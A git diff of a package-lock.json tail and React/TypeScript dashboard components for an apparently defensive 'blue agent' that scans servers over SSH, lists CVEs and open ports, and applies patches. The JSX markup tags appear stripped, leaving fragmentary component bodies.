"https://registry.npmjs.org/function-bind/-/function-bind-1.1.2.tgz", + "integrity": "sha512-7XHNxH7qX9xG5mIwxkhumTox/MIRNcOgDrxWsMt2pAr23WHp6MrRlN7FBSFpCpr+oVO0F744iUgR82nJMfG2SA==", + "license": "MIT", + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/gensync": { + "version": "1.0.0-beta.2", + "resolved": "https://registry.npmjs.org/gensync/-/gensync-1.0.0-beta.2.tgz", + "integrity": "sha512-3hN7NaskYvMDLQY55gnW3NQ+mesEAepTqlg+VEbj7zzqEMBVNhzcGYYeqFo/TlYz6eQiFcp1HcsCZO+nGgS8zg==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">=6.9.0" + } + }, + "node_modules/get-intrinsic": { + "version": "1.3.0", + "resolved": "https://registry.npmjs.org/get-intrinsic/-/get-intrinsic-1.3.0.tgz", + "integrity": "sha512-9fSjSaos/fRIVIp+xSJlE6lfwhES7LNtKaCBIamHsjr2na1BiABJPo0mOjjz8GJDURarmCPGqaiVg5mfjb98CQ==", + "license": "MIT", + "dependencies": { + "call-bind-apply-helpers": "^1.0.2", + "es-define-property": "^1.0.1", + "es-errors": "^1.3.0", + "es-object-atoms": "^1.1.1", + "function-bind": "^1.1.2", + "get-proto": "^1.0.1", + "gopd": "^1.2.0", + "has-symbols": "^1.1.0", + "hasown": "^2.0.2", + "math-intrinsics": "^1.1.0" + }, + "engines": { + "node": ">= 0.4" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/get-proto": { + "version": "1.0.1", + "resolved": "https://registry.npmjs.org/get-proto/-/get-proto-1.0.1.tgz", + "integrity": "sha512-sTSfBjoXBp89JvIKIefqw7U2CCebsc74kiY6awiGogKtoSGbgjYE/G/+l9sF3MWFPNc9IcoOC4ODfKHfxFmp0g==", + "license": "MIT", + "dependencies": { + "dunder-proto": "^1.0.1", + "es-object-atoms": "^1.0.0" + }, + "engines": { + "node": ">= 0.4" + } + }, + "node_modules/gopd": { + "version": "1.2.0", + "resolved": "https://registry.npmjs.org/gopd/-/gopd-1.2.0.tgz", + "integrity": "sha512-ZUKRh6/kUFoAiTAtTYPZJ3hw9wNxx+BIBOijnlG9PnrJsCcSjs1wyyD6vJpaYtgnzDrKYRSqf3OO6Rfa93xsRg==", + "license": "MIT", + "engines": { + "node": ">= 0.4" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/has-symbols": { + "version": "1.1.0", + "resolved": "https://registry.npmjs.org/has-symbols/-/has-symbols-1.1.0.tgz", + "integrity": "sha512-1cDNdwJ2Jaohmb3sg4OmKaMBwuC48sYni5HUw2DvsC8LjGTLK9h+eb1X6RyuOHe4hT0ULCW68iomhjUoKUqlPQ==", + "license": "MIT", + "engines": { + "node": ">= 0.4" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/has-tostringtag": { + "version": "1.0.2", + "resolved": "https://registry.npmjs.org/has-tostringtag/-/has-tostringtag-1.0.2.tgz", + "integrity": "sha512-NqADB8VjPFLM2V0VvHUewwwsw0ZWBaIdgo+ieHtK3hasLz4qeCRjYcqfB6AQrBggRKppKF8L52/VqdVsO47Dlw==", + "license": "MIT", + "dependencies": { + "has-symbols": "^1.0.3" + }, + "engines": { + "node": ">= 0.4" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/hasown": { + "version": "2.0.2", + "resolved": "https://registry.npmjs.org/hasown/-/hasown-2.0.2.tgz", + "integrity": "sha512-0hJU9SCPvmMzIBdZFqNPXWa6dqh7WdH0cII9y+CyS8rG3nL48Bclra9HmKhVVUHyPWNH5Y7xDwAB7bfgSjkUMQ==", + "license": "MIT", + "dependencies": { + "function-bind": "^1.1.2" + }, + "engines": { + "node": ">= 0.4" + } + }, + "node_modules/js-tokens": { + "version": "4.0.0", + "resolved": "https://registry.npmjs.org/js-tokens/-/js-tokens-4.0.0.tgz", + "integrity": "sha512-RdJUflcE3cUzKiMqQgsCu06FPu9UdIJO0beYbPhHN4k6apgJtifcoCtT9bcxOpYBtpD2kCM6Sbzg4CausW/PKQ==", + "license": "MIT" + }, + "node_modules/jsesc": { + "version": "3.1.0", + "resolved": "https://registry.npmjs.org/jsesc/-/jsesc-3.1.0.tgz", + "integrity": "sha512-/sM3dO2FOzXjKQhJuo0Q173wf2KOo8t4I8vHy6lF9poUp7bKT0/NHE8fPX23PwfhnykfqnC2xRxOnVw5XuGIaA==", + "dev": true, + "license": "MIT", + "bin": { + "jsesc": "bin/jsesc" + }, + "engines": { + "node": ">=6" + } + }, + "node_modules/json5": { + "version": "2.2.3", + "resolved": "https://registry.npmjs.org/json5/-/json5-2.2.3.tgz", + "integrity": "sha512-XmOWe7eyHYH14cLdVPoyg+GOH3rYX++KpzrylJwSW98t3Nk+U8XOl8FWKOgwtzdb8lXGf6zYwDUzeHMWfxasyg==", + "dev": true, + "license": "MIT", + "bin": { + "json5": "lib/cli.js" + }, + "engines": { + "node": ">=6" + } + }, + "node_modules/loose-envify": { + "version": "1.4.0", + "resolved": "https://registry.npmjs.org/loose-envify/-/loose-envify-1.4.0.tgz", + "integrity": "sha512-lyuxPGr/Wfhrlem2CL/UcnUc1zcqKAImBDzukY7Y5F/yQiNdko6+fRLevlw1HgMySw7f611UIY408EtxRSoK3Q==", + "license": "MIT", + "dependencies": { + "js-tokens": "^3.0.0 || ^4.0.0" + }, + "bin": { + "loose-envify": "cli.js" + } + }, + "node_modules/lru-cache": { + "version": "5.1.1", + "resolved": "https://registry.npmjs.org/lru-cache/-/lru-cache-5.1.1.tgz", + "integrity": "sha512-KpNARQA3Iwv+jTA0utUVVbrh+Jlrr1Fv0e56GGzAFOXN7dk/FviaDW8LHmK52DlcH4WP2n6gI8vN1aesBFgo9w==", + "dev": true, + "license": "ISC", + "dependencies": { + "yallist": "^3.0.2" + } + }, + "node_modules/math-intrinsics": { + "version": "1.1.0", + "resolved": "https://registry.npmjs.org/math-intrinsics/-/math-intrinsics-1.1.0.tgz", + "integrity": "sha512-/IXtbwEk5HTPyEwyKX6hGkYXxM9nbj64B+ilVJnC/R6B0pH5G4V3b0pVbL7DBj4tkhBAppbQUlf6F6Xl9LHu1g==", + "license": "MIT", + "engines": { + "node": ">= 0.4" + } + }, + "node_modules/mime-db": { + "version": "1.52.0", + "resolved": "https://registry.npmjs.org/mime-db/-/mime-db-1.52.0.tgz", + "integrity": "sha512-sPU4uV7dYlvtWJxwwxHD0PuihVNiE7TyAbQ5SWxDCB9mUYvOgroQOwYQQOKPJ8CIbE+1ETVlOoK1UC2nU3gYvg==", + "license": "MIT", + "engines": { + "node": ">= 0.6" + } + }, + "node_modules/mime-types": { + "version": "2.1.35", + "resolved": "https://registry.npmjs.org/mime-types/-/mime-types-2.1.35.tgz", + "integrity": "sha512-ZDY+bPm5zTTF+YpCrAU9nK0UgICYPT0QtT1NZWFv4s++TNkcgVaT0g6+4R2uI4MjQjzysHB1zxuWL50hzaeXiw==", + "license": "MIT", + "dependencies": { + "mime-db": "1.52.0" + }, + "engines": { + "node": ">= 0.6" + } + }, + "node_modules/ms": { + "version": "2.1.3", + "resolved": "https://registry.npmjs.org/ms/-/ms-2.1.3.tgz", + "integrity": "sha512-6FlzubTLZG3J2a/NVCAleEhjzq5oxgHyaCU9yYXvcLsvoVaHJq/s5xXI6/XXP6tz7R9xAOtHnSO/tXtF3WRTlA==", + "dev": true, + "license": "MIT" + }, + "node_modules/nanoid": { + "version": "3.3.11", + "resolved": "https://registry.npmjs.org/nanoid/-/nanoid-3.3.11.tgz", + "integrity": "sha512-N8SpfPUnUp1bK+PMYW8qSWdl9U+wwNWI4QKxOYDy9JAro3WMX7p2OeVRF9v+347pnakNevPmiHhNmZ2HbFA76w==", + "dev": true, + "funding": [ + { + "type": "github", + "url": "https://github.com/sponsors/ai" + } + ], + "license": "MIT", + "bin": { + "nanoid": "bin/nanoid.cjs" + }, + "engines": { + "node": "^10 || ^12 || ^13.7 || ^14 || >=15.0.1" + } + }, + "node_modules/node-releases": { + "version": "2.0.37", + "resolved": "https://registry.npmjs.org/node-releases/-/node-releases-2.0.37.tgz", + "integrity": "sha512-1h5gKZCF+pO/o3Iqt5Jp7wc9rH3eJJ0+nh/CIoiRwjRxde/hAHyLPXYN4V3CqKAbiZPSeJFSWHmJsbkicta0Eg==", + "dev": true, + "license": "MIT" + }, + "node_modules/picocolors": { + "version": "1.1.1", + "resolved": "https://registry.npmjs.org/picocolors/-/picocolors-1.1.1.tgz", + "integrity": "sha512-xceH2snhtb5M9liqDsmEw56le376mTZkEX/jEb/RxNFyegNul7eNslCXP9FDj/Lcu0X8KEyMceP2ntpaHrDEVA==", + "dev": true, + "license": "ISC" + }, + "node_modules/postcss": { + "version": "8.5.10", + "resolved": "https://registry.npmjs.org/postcss/-/postcss-8.5.10.tgz", + "integrity": "sha512-pMMHxBOZKFU6HgAZ4eyGnwXF/EvPGGqUr0MnZ5+99485wwW41kW91A4LOGxSHhgugZmSChL5AlElNdwlNgcnLQ==", + "dev": true, + "funding": [ + { + "type": "opencollective", + "url": "https://opencollective.com/postcss/" + }, + { + "type": "tidelift", + "url": "https://tidelift.com/funding/github/npm/postcss" + }, + { + "type": "github", + "url": "https://github.com/sponsors/ai" + } + ], + "license": "MIT", + "dependencies": { + "nanoid": "^3.3.11", + "picocolors": "^1.1.1", + "source-map-js": "^1.2.1" + }, + "engines": { + "node": "^10 || ^12 || >=14" + } + }, + "node_modules/proxy-from-env": { + "version": "2.1.0", + "resolved": "https://registry.npmjs.org/proxy-from-env/-/proxy-from-env-2.1.0.tgz", + "integrity": "sha512-cJ+oHTW1VAEa8cJslgmUZrc+sjRKgAKl3Zyse6+PV38hZe/V6Z14TbCuXcan9F9ghlz4QrFr2c92TNF82UkYHA==", + "license": "MIT", + "engines": { + "node": ">=10" + } + }, + "node_modules/react": { + "version": "18.3.1", + "resolved": "https://registry.npmjs.org/react/-/react-18.3.1.tgz", + "integrity": "sha512-wS+hAgJShR0KhEvPJArfuPVN1+Hz1t0Y6n5jLrGQbkb4urgPE/0Rve+1kMB1v/oWgHgm4WIcV+i7F2pTVj+2iQ==", + "license": "MIT", + "dependencies": { + "loose-envify": "^1.1.0" + }, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/react-dom": { + "version": "18.3.1", + "resolved": "https://registry.npmjs.org/react-dom/-/react-dom-18.3.1.tgz", + "integrity": "sha512-5m4nQKp+rZRb09LNH59GM4BxTh9251/ylbKIbpe7TpGxfJ+9kv6BLkLBXIjjspbgbnIBNqlI23tRnTWT0snUIw==", + "license": "MIT", + "dependencies": { + "loose-envify": "^1.1.0", + "scheduler": "^0.23.2" + }, + "peerDependencies": { + "react": "^18.3.1" + } + }, + "node_modules/react-refresh": { + "version": "0.17.0", + "resolved": "https://registry.npmjs.org/react-refresh/-/react-refresh-0.17.0.tgz", + "integrity": "sha512-z6F7K9bV85EfseRCp2bzrpyQ0Gkw1uLoCel9XBVWPg/TjRj94SkJzUTGfOa4bs7iJvBWtQG0Wq7wnI0syw3EBQ==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/rollup": { + "version": "4.60.1", + "resolved": "https://registry.npmjs.org/rollup/-/rollup-4.60.1.tgz", + "integrity": "sha512-VmtB2rFU/GroZ4oL8+ZqXgSA38O6GR8KSIvWmEFv63pQ0G6KaBH9s07PO8XTXP4vI+3UJUEypOfjkGfmSBBR0w==", + "dev": true, + "license": "MIT", + "dependencies": { + "@types/estree": "1.0.8" + }, + "bin": { + "rollup": "dist/bin/rollup" + }, + "engines": { + "node": ">=18.0.0", + "npm": ">=8.0.0" + }, + "optionalDependencies": { + "@rollup/rollup-android-arm-eabi": "4.60.1", + "@rollup/rollup-android-arm64": "4.60.1", + "@rollup/rollup-darwin-arm64": "4.60.1", + "@rollup/rollup-darwin-x64": "4.60.1", + "@rollup/rollup-freebsd-arm64": "4.60.1", + "@rollup/rollup-freebsd-x64": "4.60.1", + "@rollup/rollup-linux-arm-gnueabihf": "4.60.1", + "@rollup/rollup-linux-arm-musleabihf": "4.60.1", + "@rollup/rollup-linux-arm64-gnu": "4.60.1", + "@rollup/rollup-linux-arm64-musl": "4.60.1", + "@rollup/rollup-linux-loong64-gnu": "4.60.1", + "@rollup/rollup-linux-loong64-musl": "4.60.1", + "@rollup/rollup-linux-ppc64-gnu": "4.60.1", + "@rollup/rollup-linux-ppc64-musl": "4.60.1", + "@rollup/rollup-linux-riscv64-gnu": "4.60.1", + "@rollup/rollup-linux-riscv64-musl": "4.60.1", + "@rollup/rollup-linux-s390x-gnu": "4.60.1", + "@rollup/rollup-linux-x64-gnu": "4.60.1", + "@rollup/rollup-linux-x64-musl": "4.60.1", + "@rollup/rollup-openbsd-x64": "4.60.1", + "@rollup/rollup-openharmony-arm64": "4.60.1", + "@rollup/rollup-win32-arm64-msvc": "4.60.1", + "@rollup/rollup-win32-ia32-msvc": "4.60.1", + "@rollup/rollup-win32-x64-gnu": "4.60.1", + "@rollup/rollup-win32-x64-msvc": "4.60.1", + "fsevents": "~2.3.2" + } + }, + "node_modules/scheduler": { + "version": "0.23.2", + "resolved": "https://registry.npmjs.org/scheduler/-/scheduler-0.23.2.tgz", + "integrity": "sha512-UOShsPwz7NrMUqhR6t0hWjFduvOzbtv7toDH1/hIrfRNIDBnnBWd0CwJTGvTpngVlmwGCdP9/Zl/tVrDqcuYzQ==", + "license": "MIT", + "dependencies": { + "loose-envify": "^1.1.0" + } + }, + "node_modules/semver": { + "version": "6.3.1", + "resolved": "https://registry.npmjs.org/semver/-/semver-6.3.1.tgz", + "integrity": "sha512-BR7VvDCVHO+q2xBEWskxS6DJE1qRnb7DxzUrogb71CWoSficBxYsiAGd+Kl0mmq/MprG9yArRkyrQxTO6XjMzA==", + "dev": true, + "license": "ISC", + "bin": { + "semver": "bin/semver.js" + } + }, + "node_modules/source-map-js": { + "version": "1.2.1", + "resolved": "https://registry.npmjs.org/source-map-js/-/source-map-js-1.2.1.tgz", + "integrity": "sha512-UXWMKhLOwVKb728IUtQPXxfYU+usdybtUrK/8uGE8CQMvrhOpwvzDBwj0QhSL7MQc7vIsISBG8VQ8+IDQxpfQA==", + "dev": true, + "license": "BSD-3-Clause", + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/typescript": { + "version": "5.9.3", + "resolved": "https://registry.npmjs.org/typescript/-/typescript-5.9.3.tgz", + "integrity": "sha512-jl1vZzPDinLr9eUt3J/t7V6FgNEw9QjvBPdysz9KfQDD41fQrC2Y4vKQdiaUpFT4bXlb1RHhLpp8wtm6M5TgSw==", + "dev": true, + "license": "Apache-2.0", + "bin": { + "tsc": "bin/tsc", + "tsserver": "bin/tsserver" + }, + "engines": { + "node": ">=14.17" + } + }, + "node_modules/update-browserslist-db": { + "version": "1.2.3", + "resolved": "https://registry.npmjs.org/update-browserslist-db/-/update-browserslist-db-1.2.3.tgz", + "integrity": "sha512-Js0m9cx+qOgDxo0eMiFGEueWztz+d4+M3rGlmKPT+T4IS/jP4ylw3Nwpu6cpTTP8R1MAC1kF4VbdLt3ARf209w==", + "dev": true, + "funding": [ + { + "type": "opencollective", + "url": "https://opencollective.com/browserslist" + }, + { + "type": "tidelift", + "url": "https://tidelift.com/funding/github/npm/browserslist" + }, + { + "type": "github", + "url": "https://github.com/sponsors/ai" + } + ], + "license": "MIT", + "dependencies": { + "escalade": "^3.2.0", + "picocolors": "^1.1.1" + }, + "bin": { + "update-browserslist-db": "cli.js" + }, + "peerDependencies": { + "browserslist": ">= 4.21.0" + } + }, + "node_modules/vite": { + "version": "5.4.21", + "resolved": "https://registry.npmjs.org/vite/-/vite-5.4.21.tgz", + "integrity": "sha512-o5a9xKjbtuhY6Bi5S3+HvbRERmouabWbyUcpXXUA1u+GNUKoROi9byOJ8M0nHbHYHkYICiMlqxkg1KkYmm25Sw==", + "dev": true, + "license": "MIT", + "dependencies": { + "esbuild": "^0.21.3", + "postcss": "^8.4.43", + "rollup": "^4.20.0" + }, + "bin": { + "vite": "bin/vite.js" + }, + "engines": { + "node": "^18.0.0 || >=20.0.0" + }, + "funding": { + "url": "https://github.com/vitejs/vite?sponsor=1" + }, + "optionalDependencies": { + "fsevents": "~2.3.3" + }, + "peerDependencies": { + "@types/node": "^18.0.0 || >=20.0.0", + "less": "*", + "lightningcss": "^1.21.0", + "sass": "*", + "sass-embedded": "*", + "stylus": "*", + "sugarss": "*", + "terser": "^5.4.0" + }, + "peerDependenciesMeta": { + "@types/node": { + "optional": true + }, + "less": { + "optional": true + }, + "lightningcss": { + "optional": true + }, + "sass": { + "optional": true + }, + "sass-embedded": { + "optional": true + }, + "stylus": { + "optional": true + }, + "sugarss": { + "optional": true + }, + "terser": { + "optional": true + } + } + }, + "node_modules/yallist": { + "version": "3.1.1", + "resolved": "https://registry.npmjs.org/yallist/-/yallist-3.1.1.tgz", + "integrity": "sha512-a4UGQaWPH59mOXUYnAG2ewncQS4i4F43Tv3JoAM+s2VDAmS9NsK8GpDMLrCHPksFT7h3K6TOoUNn2pb7RoXx4g==", + "dev": true, + "license": "ISC" + } + } +} diff --git a/blue_agent/frontend/src/api/blueApi.ts b/blue_agent/frontend/src/api/blueApi.ts index 1df6d2669..da15d0603 100644 --- a/blue_agent/frontend/src/api/blueApi.ts +++ b/blue_agent/frontend/src/api/blueApi.ts @@ -1,7 +1,14 @@ import axios from "axios"; import type { + AssetInfo, ClosePortRequest, + EnvironmentAlert, + EnvironmentStats, + EvolutionMetrics, HardenServiceRequest, + ScanStats, + SSHCredentials, + SSHScanResult, ToolCall, } from "@/types/blue.types"; @@ -10,24 +17,25 @@ const BLUE_BASE_URL = const client = axios.create({ baseURL: BLUE_BASE_URL, - timeout: 15_000, + timeout: 120_000, // 2 min β€” SSH scans can take time on real servers }); export const blueApi = { health: () => client.get<{ status: string; agent: string }>("/health"), + // Defense closePort: (req: ClosePortRequest) => client.post("/defend/close_port", req).then((r) => r.data), hardenService: (req: HardenServiceRequest) => client.post("/defend/harden_service", req).then((r) => r.data), isolateHost: (host: string, reason?: string) => client.post("/defend/isolate_host", { host, reason }).then((r) => r.data), - recentDefenses: (limit = 20) => client .get("/defend/recent", { params: { limit } }) .then((r) => r.data), + // Patching applyPatch: (host: string, cve_id?: string, pkg?: string) => client .post("/patch/apply", { host, cve_id, package: pkg }) @@ -35,8 +43,45 @@ export const blueApi = { verifyFix: (host: string, cve_id: string) => client.post("/patch/verify_fix", { host, cve_id }).then((r) => r.data), + // Strategy planDefense: (host: string, threat: Record = {}) => client.post("/strategy/plan", { host, threat }).then((r) => r.data), currentStrategy: () => client.get("/strategy/current").then((r) => r.data), + evolutionMetrics: () => + client.get("/strategy/evolution").then((r) => r.data), + agentStatus: () => + client.get("/strategy/status").then((r) => r.data), + + // Scanning + assetInventory: (environment?: string) => + client + .get("/scan/inventory", { params: environment ? { environment } : {} }) + .then((r) => r.data), + vulnerableAssets: () => + client.get("/scan/vulnerable").then((r) => r.data), + scanStats: () => + client.get("/scan/stats").then((r) => r.data), + allVulnerabilities: () => + client.get("/scan/vulnerabilities").then((r) => r.data), + + // Environment monitoring + environmentAlerts: (environment?: string) => + client + .get("/environment/alerts", { + params: environment ? { environment } : {}, + }) + .then((r) => r.data), + environmentStats: () => + client.get("/environment/stats").then((r) => r.data), + + // SSH scanning (step 1: scan, step 2: apply fixes) + sshScan: (creds: SSHCredentials) => + client.post("/scan/ssh", creds).then((r) => r.data), + sshApplyFixes: () => + client.post("/scan/ssh/apply-fixes").then((r) => r.data), + sshScanResults: () => + client.get("/scan/ssh/results").then((r) => r.data), + sshScanStats: () => + client.get("/scan/ssh/stats").then((r) => r.data), }; diff --git a/blue_agent/frontend/src/components/EnvironmentPanel.tsx b/blue_agent/frontend/src/components/EnvironmentPanel.tsx new file mode 100644 index 000000000..8844ffd5c --- /dev/null +++ b/blue_agent/frontend/src/components/EnvironmentPanel.tsx @@ -0,0 +1,146 @@ +import type { EnvironmentStats } from "@/types/blue.types"; + +interface EnvironmentPanelProps { + stats: EnvironmentStats | null; + accent?: string; +} + +const ENV_COLORS: Record = { + cloud: "#58a6ff", + onprem: "#7ee787", + hybrid: "#d29922", +}; + +const SEV_COLORS: Record = { + critical: "#f85149", + high: "#f0883e", + medium: "#d29922", + low: "#8b949e", +}; + +export function EnvironmentPanel({ stats, accent = "#58a6ff" }: EnvironmentPanelProps) { + if (!stats) { + return ( +
+
+

Monitoring initializing...

+
+ ); + } + + return ( +
+
+ +
+ {(["cloud", "onprem", "hybrid"] as const).map((env) => ( +
+
+ {env === "onprem" ? "ON-PREM" : env.toUpperCase()} +
+
+ {stats.by_environment[env] ?? 0} +
+
alerts
+
+ ))} +
+ +
ALERT SEVERITY
+
+ {Object.entries(stats.by_severity) + .filter(([, count]) => count > 0) + .map(([sev, count]) => ( + + {sev}: {count} + + ))} +
+ + {Object.keys(stats.by_category).length > 0 && ( + <> +
BY CATEGORY
+
+ {Object.entries(stats.by_category).map(([cat, count]) => ( + + {cat}: {count} + + ))} +
+ + )} + +
+ {stats.monitoring_active ? "MONITORING ACTIVE" : "MONITORING INACTIVE"} + {" "}· {stats.total_alerts} total alerts +
+
+ ); +} + +function Header({ accent }: { accent: string }) { + return ( +
+

+ ENVIRONMENT MONITOR +

+ cloud + onprem + hybrid +
+ ); +} + +function sectionStyle(accent: string): React.CSSProperties { + return { + background: "#0d1117", + borderRadius: 8, + padding: 12, + border: `1px solid ${accent}55`, + height: "100%", + overflowY: "auto", + }; +} diff --git a/blue_agent/frontend/src/components/EvolutionPanel.tsx b/blue_agent/frontend/src/components/EvolutionPanel.tsx new file mode 100644 index 000000000..e86513127 --- /dev/null +++ b/blue_agent/frontend/src/components/EvolutionPanel.tsx @@ -0,0 +1,127 @@ +import type { EvolutionMetrics } from "@/types/blue.types"; + +interface EvolutionPanelProps { + metrics: EvolutionMetrics | null; + accent?: string; +} + +export function EvolutionPanel({ metrics, accent = "#58a6ff" }: EvolutionPanelProps) { + if (!metrics) { + return ( +
+
+

Evolver initializing...

+
+ ); + } + + const improvementColor = + metrics.improvement_pct > 10 ? "#3fb950" : metrics.improvement_pct > 0 ? "#d29922" : "#8b949e"; + + return ( +
+
+ +
+ + + + + +
+ + {metrics.current_params && Object.keys(metrics.current_params).length > 0 && ( + <> +
TUNED PARAMETERS
+
+ {Object.entries(metrics.current_params).map(([key, val]) => ( +
+ {key}:{" "} + {typeof val === "number" ? val.toFixed(2) : String(val)} +
+ ))} +
+ + )} + + {metrics.top_attack_patterns.length > 0 && ( + <> +
+ TOP ATTACK PATTERNS ({metrics.total_patterns_tracked} tracked) +
+
+ {metrics.top_attack_patterns.slice(0, 5).map((p) => ( +
+ {p.pattern} + {p.count} +
+ ))} +
+ + )} +
+ ); +} + +function Header({ accent }: { accent: string }) { + return ( +
+

+ DEFENSIVE EVOLUTION +

+ learning +
+ ); +} + +function MetricBox({ label, value, color }: { label: string; value: number | string; color: string }) { + return ( +
+
{value}
+
{label}
+
+ ); +} + +function sectionStyle(accent: string): React.CSSProperties { + return { + background: "#0d1117", + borderRadius: 8, + padding: 12, + border: `1px solid ${accent}55`, + height: "100%", + overflowY: "auto", + }; +} diff --git a/blue_agent/frontend/src/components/FixPlanPanel.tsx b/blue_agent/frontend/src/components/FixPlanPanel.tsx new file mode 100644 index 000000000..ee45f8d14 --- /dev/null +++ b/blue_agent/frontend/src/components/FixPlanPanel.tsx @@ -0,0 +1,166 @@ +import type { SSHScanResult } from "@/types/blue.types"; + +interface FixPlanPanelProps { + result: SSHScanResult; + applying: boolean; + onApply: () => void; + accent?: string; +} + +const SEV_COLORS: Record = { + critical: "#f85149", + high: "#f0883e", + medium: "#d29922", + low: "#8b949e", +}; + +export function FixPlanPanel({ result, applying, onApply, accent = "#58a6ff" }: FixPlanPanelProps) { + const vulnerable = result.services.filter((s) => s.cve_count > 0); + const allFixed = vulnerable.length > 0 && vulnerable.every((s) => s.fixed); + const totalCmds = vulnerable.reduce((sum, s) => sum + (s.proposed_fixes?.length ?? 0), 0); + + return ( +
+ {/* Header */} +
+

+ {allFixed ? "FIXES APPLIED" : "FIX PLAN"} +

+ {!allFixed && vulnerable.length > 0 && ( + + )} + {allFixed && ( + ALL PATCHED + )} +
+ + {/* Fix list */} +
+ {vulnerable.length === 0 && ( +
+ No vulnerabilities found β€” server is clean. +
+ )} + + {vulnerable.map((svc, i) => ( +
+ {/* Service header */} +
+ + {svc.software} {svc.version} + {svc.port && :{svc.port}} + + {svc.fixed ? ( + + PATCHED + + ) : ( + + {svc.cve_count} CVE{svc.cve_count > 1 ? "s" : ""} + + )} +
+ + {/* CVEs */} + {svc.cves.map((cve) => ( +
+ {cve.cve_id} + CVSS {cve.cvss_score} ({cve.severity}) + β€” {cve.description.slice(0, 80)} +
+ ))} + + {/* Proposed fix commands */} + {!svc.fixed && svc.proposed_fixes && svc.proposed_fixes.length > 0 && ( +
+
+ COMMANDS TO EXECUTE: +
+ {svc.proposed_fixes.map((line, j) => { + const isCmd = line.trimStart().startsWith("$"); + const isHeader = !isCmd && !line.startsWith(" "); + return ( +
+ {line} +
+ ); + })} +
+ )} + + {/* Fix result */} + {svc.fixed && ( +
+ Fix applied β€” upgrade + hardening executed on server +
+ )} +
+ ))} +
+
+ ); +} diff --git a/blue_agent/frontend/src/components/SSHScanPanel.tsx b/blue_agent/frontend/src/components/SSHScanPanel.tsx new file mode 100644 index 000000000..4323af4f1 --- /dev/null +++ b/blue_agent/frontend/src/components/SSHScanPanel.tsx @@ -0,0 +1,119 @@ +import type { SSHScanResult } from "@/types/blue.types"; + +interface SSHScanPanelProps { + result: SSHScanResult | null; + accent?: string; +} + +const SEV_COLORS: Record = { + critical: "#f85149", + high: "#f0883e", + medium: "#d29922", + low: "#8b949e", +}; + +export function SSHScanPanel({ result, accent = "#58a6ff" }: SSHScanPanelProps) { + return ( +
+
+

SCAN RESULTS

+ + {result?.success ? `${result.total_services} services Β· ${result.elapsed_seconds.toFixed(1)}s` : "waiting"} + +
+ + {!result && ( +
+ Enter host & SSH credentials above, then click SCAN. +
+ )} + + {result && !result.success && ( +
{result.error}
+ )} + + {result?.success && ( +
+ {/* OS */} + {result.os_info && ( +
+
SYSTEM
+
{result.os_info.split("\n").slice(0, 2).join(" | ").slice(0, 150)}
+
+ )} + + {/* Ports */} + {result.listening_ports.length > 0 && ( +
+
OPEN PORTS ({result.listening_ports.length})
+
+ {result.listening_ports.map((p) => ( + + :{p.port}{p.process ? ` ${p.process}` : ""} + + ))} +
+
+ )} + + {/* All discovered services */} +
+ DISCOVERED SOFTWARE ({result.total_services}) +
+ {result.services.map((svc, i) => ( +
0 ? (svc.fixed ? "#3fb950" : "#f85149") : "#3fb950"}`, + borderRadius: 4, + padding: "5px 8px", + marginBottom: 3, + display: "flex", + justifyContent: "space-between", + alignItems: "center", + }} + > + + {svc.software} {svc.version} + {svc.port && :{svc.port}} + + + {svc.fixed && ( + FIXED + )} + {svc.cve_count > 0 && !svc.fixed && ( + + {svc.cve_count} CVE{svc.cve_count > 1 ? "s" : ""} + + )} + {svc.cve_count === 0 && ( + CLEAN + )} + +
+ ))} +
+ )} +
+ ); +} diff --git a/blue_agent/frontend/src/components/ScanPanel.tsx b/blue_agent/frontend/src/components/ScanPanel.tsx new file mode 100644 index 000000000..04f51cbd3 --- /dev/null +++ b/blue_agent/frontend/src/components/ScanPanel.tsx @@ -0,0 +1,125 @@ +import type { ScanStats } from "@/types/blue.types"; + +interface ScanPanelProps { + stats: ScanStats | null; + accent?: string; +} + +const SEV_COLORS: Record = { + critical: "#f85149", + high: "#f0883e", + medium: "#d29922", + low: "#8b949e", +}; + +export function ScanPanel({ stats, accent = "#58a6ff" }: ScanPanelProps) { + if (!stats) { + return ( +
+
+

Scanner initializing...

+
+ ); + } + + return ( +
+
+ +
+ + + + +
+ +
BY ENVIRONMENT
+
+ {Object.entries(stats.by_environment).map(([env, count]) => ( + + ))} +
+ +
BY SEVERITY
+
+ {Object.entries(stats.by_severity) + .filter(([, count]) => count > 0) + .map(([sev, count]) => ( + + {sev}: {count} + + ))} +
+
+ ); +} + +function Header({ accent, title, sub }: { accent: string; title: string; sub: string }) { + return ( +
+

{title}

+ {sub} +
+ ); +} + +function MiniStat({ label, value, color }: { label: string; value: number | string; color: string }) { + return ( +
+
{value}
+
{label}
+
+ ); +} + +function EnvBadge({ env, count }: { env: string; count: number }) { + const colors: Record = { + cloud: "#58a6ff", + onprem: "#7ee787", + hybrid: "#d29922", + }; + return ( + + {env}: {count} + + ); +} + +function sectionStyle(accent: string): React.CSSProperties { + return { + background: "#0d1117", + borderRadius: 8, + padding: 12, + border: `1px solid ${accent}55`, + height: "100%", + overflowY: "auto", + }; +} diff --git a/blue_agent/frontend/src/components/StatusBar.tsx b/blue_agent/frontend/src/components/StatusBar.tsx new file mode 100644 index 000000000..76aa4c5e5 --- /dev/null +++ b/blue_agent/frontend/src/components/StatusBar.tsx @@ -0,0 +1,46 @@ +import type { AgentStatus } from "@/types/blue.types"; + +interface StatusBarProps { + status: AgentStatus | null; + accent?: string; +} + +function StatBox({ label, value, color }: { label: string; value: number | string; color: string }) { + return ( +
+
{value}
+
{label}
+
+ ); +} + +export function StatusBar({ status, accent = "#58a6ff" }: StatusBarProps) { + if (!status) return null; + + return ( +
+ + + + + + + + + + + +
